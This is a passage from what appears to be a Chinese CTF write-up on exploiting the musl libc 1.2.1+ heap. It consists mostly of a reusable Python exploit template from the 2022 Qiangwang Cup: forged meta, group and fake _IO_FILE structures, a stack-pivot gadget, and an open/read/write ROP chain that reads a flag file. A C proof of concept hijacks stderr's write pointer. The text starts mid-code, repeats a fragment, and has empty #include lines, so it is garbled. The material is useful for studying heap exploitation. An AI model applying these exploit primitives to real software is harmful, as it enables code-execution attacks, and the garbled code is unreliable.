debug musl( 十 )

<< 5) | (sizeclass << 6) | (sizeclass << 12))fake_meta_area = p64(leak_secret) + fake_metapayload = ''payload += fake_filepayload += fake_grouppayload = payload.ljust(rop_addr - payload_addr, '\x00') # fake chunkpayload += ropassert len(payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, '\x00')payload += fake_meta_areapayload = payload.ljust(0x2000, '\x00')fake_node = ''fake_node += p64(4)# idfake_node += p64(fake_chunk_addr)# name -> fake chunkfake_node += p64(0x100)# name_sizefake_node += p64(2)# typefake_node += p64(0xdeadbeef)# fafake_node += p64(0)# lsfake_node += p64(0)# rsadd(5, fake_node)add(6, payload)
而在有沙箱保护的情况下,需要进行 orw。
对于 musl-1.2.1 及以上版本,可以通过如下实现栈迁移和程序流劫持 。
mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
总结来说,就是在有沙箱时,需要修改结构体的 3 个地方:
常用模板如下(2022强网杯):
payload_addr = libc.address - 0x6fe0fake_file_addr = payload_addrfake_group_addr = fake_file_addr + 0x90fake_chunk_addr = fake_group_addr + 0x10fake_meta_area_offset = ((payload_addr + 0xFFF) & ~0xFFF) - payload_addrfake_meta_offset = fake_meta_area_offset + 8fake_meta_addr = payload_addr + fake_meta_offsetstderr_used_addr = libc.address + 0xb43a0rop_addr = fake_chunk_addrmagic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]'), executable=True).next()pop_rdi_ret = libc.search(asm("pop rdi;ret"), executable=True).next()pop_rsi_ret = libc.search(asm("pop rsi;ret"), executable=True).next()pop_rdx_ret = libc.search(asm("pop rdx;ret"), executable=True).next()pop_rax_ret = libc.search(asm("pop rax;ret"), executable=True).next()ret = libc.search(asm("ret"), executable=True).next()buf_addr = payload_addrrop = ''rop += p64(pop_rdi_ret)rop += p64(buf_addr)rop += p64(pop_rsi_ret)rop += p64(0)rop += p64(libc.sym['open'])rop += p64(pop_rdi_ret)rop += p64(3)rop += p64(pop_rsi_ret)rop += p64(buf_addr)rop += p64(pop_rdx_ret)rop += p64(0x100)rop += p64(libc.sym['read'])rop += p64(pop_rdi_ret)rop += p64(1)rop += p64(pop_rsi_ret)rop += p64(buf_addr)rop += p64(pop_rdx_ret)rop += p64(0x100)rop += p64(libc.sym['write'])fake_file = ""fake_file += "./flag".ljust(8, '\x00')# flagsfake_file += p64(0)# rposfake_file += p64(0)# rendfake_file += p64(0)# closefake_file += p64(0)# wendfake_file += p64(0)# wposfake_file += p64(rop_addr)# mustbezero_1fake_file += p64(ret)# wbasefake_file += p64(0)# readfake_file += p64(magic_gadget)# writefake_file = fake_file.ljust(0x90, '\x00')# lock = 0fake_group = p64(fake_meta_addr) + p64(0)fake_meta = ''fake_meta += p64(fake_file_addr)# prevfake_meta += p64(stderr_used_addr)# nextfake_meta += p64(fake_group_addr)# memfake_meta += p32(0b0000)# avail_maskfake_meta += p32(0b1110)# freed_masklast_idx = 3freeable = 1sizeclass = 8maplen = 0fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))fake_meta_area = p64(leak_secret) + fake_metapayload = ''payload += fake_filepayload += fake_grouppayload += ropassert len(payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, '\x00')payload += fake_meta_areapayload = payload.ljust(0x2000, '\x00')fake_node = ''fake_node += p64(4)# idfake_node += p64(fake_chunk_addr)# name -> fake chunkfake_node += p64(0x100)# name_sizefake_node += p64(2)# typefake_node += p64(0xdeadbeef)# fafake_node += p64(0)# lsfake_node += p64(0)# rsadd(5, fake_node)add(6, payload)
poc 如下:
#include #include #include #include #include #include typedef struct _IO_FILE FILE;struct _IO_FILE {unsigned flags;unsigned char *rpos, *rend;int (*close)(FILE *);unsigned char *wend, *wpos;unsigned char *mustbezero_1;unsigned char *wbase;size_t (*read)(FILE *, unsigned char *, size_t);size_t (*write)(FILE *, const unsigned char *, size_t);off_t (*seek)(FILE *, off_t, int);unsigned char *buf;size_t buf_size;FILE *prev, *next;int fd;int pipe_pid;long lockcount;int mode;volatile int lock;int lbf;void *cookie;off_t off;char *getln_buf;void *mustbezero_2;unsigned char *shend;off_t shlim, shcnt;FILE *prev_locked, *next_locked;struct __locale_struct *locale;};size_t rop[0x100];int main() {size_t libc_base = (size_t) system - 0x438a8;FILE *stderr_used = (FILE *) (libc_base + 0x295120);size_t magic_gadget = libc_base + 0x4a736; // mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]size_t pop_rax_ret = libc_base + 0x1b95d;size_t pop_rdi_ret = libc_base + 0x14be2;size_t pop_rsi_ret = libc_base + 0x1b2da;size_t pop_rdx_ret = libc_base + 0x1aeab;size_t syscall_ret = libc_base + 0x237d7;size_t ret = libc_base + 0x1558;*(size_t *) &stderr_used->write = magic_gadget;stderr_used->wbase = (unsigned char *) ret;assert(stderr_used->wbase != stderr_used->wpos);stderr_used->mustbezero_1 = (unsigned char *) rop;char *buf = (char *) &rop[30];strcpy(buf, "./flag");rop[0] = pop_rdi_ret;rop[1] = (size_t) buf;rop[2] = pop_rsi_ret;rop[3] = 0;rop[4] = pop_rax_ret;rop[5] = 2;rop[6] = syscall_ret;rop[7] = pop_rdi_ret;rop[8] = 3;rop[9] = pop_rsi_ret;rop[10] = (size_t) buf;rop[11] = pop_rdx_ret;rop[12] = 0x100;rop[13] = pop_rax_ret;rop[14] = 0;rop[15] = syscall_ret;rop[16] = pop_rax_ret;rop[17] = 1;rop[18] = pop_rdi_ret;rop[19] = 1;rop[20] = pop_rsi_ret;rop[21] = (size_t) buf;rop[22] = syscall_ret;return 0;}